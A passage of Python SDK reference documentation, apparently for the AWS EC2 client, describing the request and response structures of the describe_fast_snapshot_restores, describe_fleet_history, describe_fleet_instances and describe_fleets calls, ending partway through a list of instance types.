* DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ExportTasks': [ + { + 'Description': 'string', + 'ExportTaskId': 'string', + 'ExportToS3Task': { + 'ContainerFormat': 'ova', + 'DiskImageFormat': 'VMDK'|'RAW'|'VHD', + 'S3Bucket': 'string', + 'S3Key': 'string' + }, + 'InstanceExportDetails': { + 'InstanceId': 'string', + 'TargetEnvironment': 'citrix'|'vmware'|'microsoft' + }, + 'State': 'active'|'cancelling'|'cancelled'|'completed', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **ExportTasks** _(list) --_ + + Information about the export tasks. + + * _(dict) --_ + + Describes an instance export task. + + * **Description** _(string) --_ + + A description of the resource being exported. + + * **ExportTaskId** _(string) --_ + + The ID of the export task. + + * **ExportToS3Task** _(dict) --_ + + Information about the export task. + + * **ContainerFormat** _(string) --_ + + The container format used to combine disk images with metadata (such as OVF). If absent, only the disk image is exported. + + * **DiskImageFormat** _(string) --_ + + The format for the exported image. + + * **S3Bucket** _(string) --_ + + The Amazon S3 bucket for the destination image. The destination bucket must exist and grant WRITE and READ_ACP permissions to the AWS account vm-import-export@amazon.com . + + * **S3Key** _(string) --_ + + The encryption key for your S3 bucket. + + * **InstanceExportDetails** _(dict) --_ + + Information about the instance to export. + + * **InstanceId** _(string) --_ + + The ID of the resource being exported. + + * **TargetEnvironment** _(string) --_ + + The target virtualization environment. + + * **State** _(string) --_ + + The state of the export task. + + * **StatusMessage** _(string) --_ + + The status message related to the export task. + + * **Tags** _(list) --_ + + The tags for the export task. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +describe_fast_snapshot_restores(kwargs_) + +Describes the state of fast snapshot restores for your snapshots. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFastSnapshotRestores) + +**Request Syntax** + +response = client.describe_fast_snapshot_restores( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. The possible values are: + + * availability-zone : The Availability Zone of the snapshot. + * owner-id : The ID of the AWS account that enabled fast snapshot restore on the snapshot. + * snapshot-id : The ID of the snapshot. + * state : The state of fast snapshot restores for the snapshot (enabling | optimizing | enabled | disabling | disabled ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FastSnapshotRestores': [ + { + 'SnapshotId': 'string', + 'AvailabilityZone': 'string', + 'State': 'enabling'|'optimizing'|'enabled'|'disabling'|'disabled', + 'StateTransitionReason': 'string', + 'OwnerId': 'string', + 'OwnerAlias': 'string', + 'EnablingTime': datetime(2015, 1, 1), + 'OptimizingTime': datetime(2015, 1, 1), + 'EnabledTime': datetime(2015, 1, 1), + 'DisablingTime': datetime(2015, 1, 1), + 'DisabledTime': datetime(2015, 1, 1) + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **FastSnapshotRestores** _(list) --_ + + Information about the state of fast snapshot restores. + + * _(dict) --_ + + Describes fast snapshot restores for a snapshot. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **State** _(string) --_ + + The state of fast snapshot restores. + + * **StateTransitionReason** _(string) --_ + + The reason for the state transition. The possible values are as follows: + + * Client.UserInitiated - The state successfully transitioned to enabling or disabling . + * Client.UserInitiated - Lifecycle state transition - The state successfully transitioned to optimizing , enabled , or disabled . + * **OwnerId** _(string) --_ + + The ID of the AWS account that enabled fast snapshot restores on the snapshot. + + * **OwnerAlias** _(string) --_ + + The AWS owner alias that enabled fast snapshot restores on the snapshot. This is intended for future use. + + * **EnablingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the enabling state. + + * **OptimizingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the optimizing state. + + * **EnabledTime** _(datetime) --_ + + The time at which fast snapshot restores entered the enabled state. + + * **DisablingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the disabling state. + + * **DisabledTime** _(datetime) --_ + + The time at which fast snapshot restores entered the disabled state. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_fleet_history(kwargs_) + +Describes the events for the specified EC2 Fleet during the specified time. + +EC2 Fleet events are delayed by up to 30 seconds before they can be described. This ensures that you can query by the last evaluated time and not miss a recorded event. EC2 Fleet events are available for 48 hours. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFleetHistory) + +**Request Syntax** + +response = client.describe_fleet_history( + DryRun=True|False, + EventType='instance-change'|'fleet-change'|'service-error', + MaxResults=123, + NextToken='string', + FleetId='string', + StartTime=datetime(2015, 1, 1) +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EventType** (_string_) -- The type of events to describe. By default, all events are described. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. Specify a value between 1 and 1000. The default value is 1000. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token for the next set of results. +* **FleetId** (_string_) -- + + **[REQUIRED]** + + The ID of the EC2 Fleet. + +* **StartTime** (_datetime_) -- + + **[REQUIRED]** + + The start date and time for the events, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'HistoryRecords': [ + { + 'EventInformation': { + 'EventDescription': 'string', + 'EventSubType': 'string', + 'InstanceId': 'string' + }, + 'EventType': 'instance-change'|'fleet-change'|'service-error', + 'Timestamp': datetime(2015, 1, 1) + }, + ], + 'LastEvaluatedTime': datetime(2015, 1, 1), + 'NextToken': 'string', + 'FleetId': 'string', + 'StartTime': datetime(2015, 1, 1) +} + +**Response Structure** + +* _(dict) --_ + + * **HistoryRecords** _(list) --_ + + Information about the events in the history of the EC2 Fleet. + + * _(dict) --_ + + Describes an event in the history of an EC2 Fleet. + + * **EventInformation** _(dict) --_ + + Information about the event. + + * **EventDescription** _(string) --_ + + The description of the event. + + * **EventSubType** _(string) --_ + + The event. + + The following are the error events: + + * iamFleetRoleInvalid - The EC2 Fleet or Spot Fleet did not have the required permissions either to launch or terminate an instance. + * spotFleetRequestConfigurationInvalid - The configuration is not valid. For more information, see the description of the event. + * spotInstanceCountLimitExceeded - You've reached the limit on the number of Spot Instances that you can launch. + + The following are the fleetRequestChange events: + + * active - The EC2 Fleet or Spot Fleet request has been validated and Amazon EC2 is attempting to maintain the target number of running Spot Instances. + * cancelled - The EC2 Fleet or Spot Fleet request is canceled and has no running Spot Instances. The EC2 Fleet or Spot Fleet will be deleted two days after its instances were terminated. + * cancelled_running - The EC2 Fleet or Spot Fleet request is canceled and does not launch additional Spot Instances. Existing Spot Instances continue to run until they are interrupted or terminated. + * cancelled_terminating - The EC2 Fleet or Spot Fleet request is canceled and its Spot Instances are terminating. + * expired - The EC2 Fleet or Spot Fleet request has expired. A subsequent event indicates that the instances were terminated, if the request was created with TerminateInstancesWithExpiration set. + * modify_in_progress - A request to modify the EC2 Fleet or Spot Fleet request was accepted and is in progress. + * modify_successful - The EC2 Fleet or Spot Fleet request was modified. + * price_update - The price for a launch configuration was adjusted because it was too high. This change is permanent. + * submitted - The EC2 Fleet or Spot Fleet request is being evaluated and Amazon EC2 is preparing to launch the target number of Spot Instances. + + The following are the instanceChange events: + + * launched - A request was fulfilled and a new instance was launched. + * terminated - An instance was terminated by the user. + + The following are the Information events: + + * launchSpecTemporarilyBlacklisted - The configuration is not valid and several attempts to launch instances have failed. For more information, see the description of the event. + * launchSpecUnusable - The price in a launch specification is not valid because it is below the Spot price or the Spot price is above the On-Demand price. + * fleetProgressHalted - The price in every launch specification is not valid. A launch specification might become valid if the Spot price changes. + * **InstanceId** _(string) --_ + + The ID of the instance. This information is available only for instanceChange events. + + * **EventType** _(string) --_ + + The event type. + + * **Timestamp** _(datetime) --_ + + The date and time of the event, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + * **LastEvaluatedTime** _(datetime) --_ + + The last date and time for the events, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). All records up to this time were retrieved. + + If nextToken indicates that there are more results, this value is not present. + + * **NextToken** _(string) --_ + + The token for the next set of results. + + * **FleetId** _(string) --_ + + The ID of the EC Fleet. + + * **StartTime** _(datetime) --_ + + The start date and time for the events, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + +describe_fleet_instances(kwargs_) + +Describes the running instances for the specified EC2 Fleet. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFleetInstances) + +**Request Syntax** + +response = client.describe_fleet_instances( + DryRun=True|False, + MaxResults=123, + NextToken='string', + FleetId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. Specify a value between 1 and 1000. The default value is 1000. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token for the next set of results. +* **FleetId** (_string_) -- + + **[REQUIRED]** + + The ID of the EC2 Fleet. + +* **Filters** (_list_) -- + + The filters. + + * instance-type - The instance type. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ActiveInstances': [ + { + 'InstanceId': 'string', + 'InstanceType': 'string', + 'SpotInstanceRequestId': 'string', + 'InstanceHealth': 'healthy'|'unhealthy' + }, + ], + 'NextToken': 'string', + 'FleetId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ActiveInstances** _(list) --_ + + The running instances. This list is refreshed periodically and might be out of date. + + * _(dict) --_ + + Describes a running instance in a Spot Fleet. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceType** _(string) --_ + + The instance type. + + * **SpotInstanceRequestId** _(string) --_ + + The ID of the Spot Instance request. + + * **InstanceHealth** _(string) --_ + + The health status of the instance. If the status of either the instance status check or the system status check is impaired , the health status of the instance is unhealthy . Otherwise, the health status is healthy . + + * **NextToken** _(string) --_ + + The token for the next set of results. + + * **FleetId** _(string) --_ + + The ID of the EC2 Fleet. + + +describe_fleets(kwargs_) + +Describes the specified EC2 Fleets or all of your EC2 Fleets. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFleets) + +**Request Syntax** + +response = client.describe_fleets( + DryRun=True|False, + MaxResults=123, + NextToken='string', + FleetIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. Specify a value between 1 and 1000. The default value is 1000. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token for the next set of results. +* **FleetIds** (_list_) -- + + The ID of the EC2 Fleets. + + * _(string) --_ +* **Filters** (_list_) -- + + The filters. + + * activity-status - The progress of the EC2 Fleet ( error | pending-fulfillment | pending-termination | fulfilled ). + * excess-capacity-termination-policy - Indicates whether to terminate running instances if the target capacity is decreased below the current EC2 Fleet size (true | false ). + * fleet-state - The state of the EC2 Fleet (submitted | active | deleted | failed | deleted-running | deleted-terminating | modifying ). + * replace-unhealthy-instances - Indicates whether EC2 Fleet should replace unhealthy instances (true | false ). + * type - The type of request (instant | request | maintain ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'Fleets': [ + { + 'ActivityStatus': 'error'|'pending_fulfillment'|'pending_termination'|'fulfilled', + 'CreateTime': datetime(2015, 1, 1), + 'FleetId': 'string', + 'FleetState': 'submitted'|'active'|'deleted'|'failed'|'deleted_running'|'deleted_terminating'|'modifying', + 'ClientToken': 'string', + 'ExcessCapacityTerminationPolicy': 'no-termination'|'termination', + 'FulfilledCapacity': 123.0, + 'FulfilledOnDemandCapacity': 123.0, + 'LaunchTemplateConfigs': [ + { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'GroupName': 'string' + } + }, + ] + }, + ], + 'TargetCapacitySpecification': { + 'TotalTargetCapacity': 123, + 'OnDemandTargetCapacity': 123, + 'SpotTargetCapacity': 123, + 'DefaultTargetCapacityType': 'spot'|'on-demand' + }, + 'TerminateInstancesWithExpiration': True|False, + 'Type': 'request'|'maintain'|'instant', + 'ValidFrom': datetime(2015, 1, 1), + 'ValidUntil': datetime(2015, 1, 1), + 'ReplaceUnhealthyInstances': True|False, + 'SpotOptions': { + 'AllocationStrategy': 'lowest-price'|'diversified'|'capacity-optimized', + 'MaintenanceStrategies': { + 'CapacityRebalance': { + 'ReplacementStrategy': 'launch' + } + }, + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate', + 'InstancePoolsToUseCount': 123, + 'SingleInstanceType': True|False, + 'SingleAvailabilityZone': True|False, + 'MinTargetCapacity': 123, + 'MaxTotalPrice': 'string' + }, + 'OnDemandOptions': { + 'AllocationStrategy': 'lowest-price'|'prioritized', + 'CapacityReservationOptions': { + 'UsageStrategy': 'use-capacity-reservations-first' + }, + 'SingleInstanceType': True|False, + 'SingleAvailabilityZone': True|False, + 'MinTargetCapacity': 123, + 'MaxTotalPrice': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'Errors': [ + { + 'LaunchTemplateAndOverrides': { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'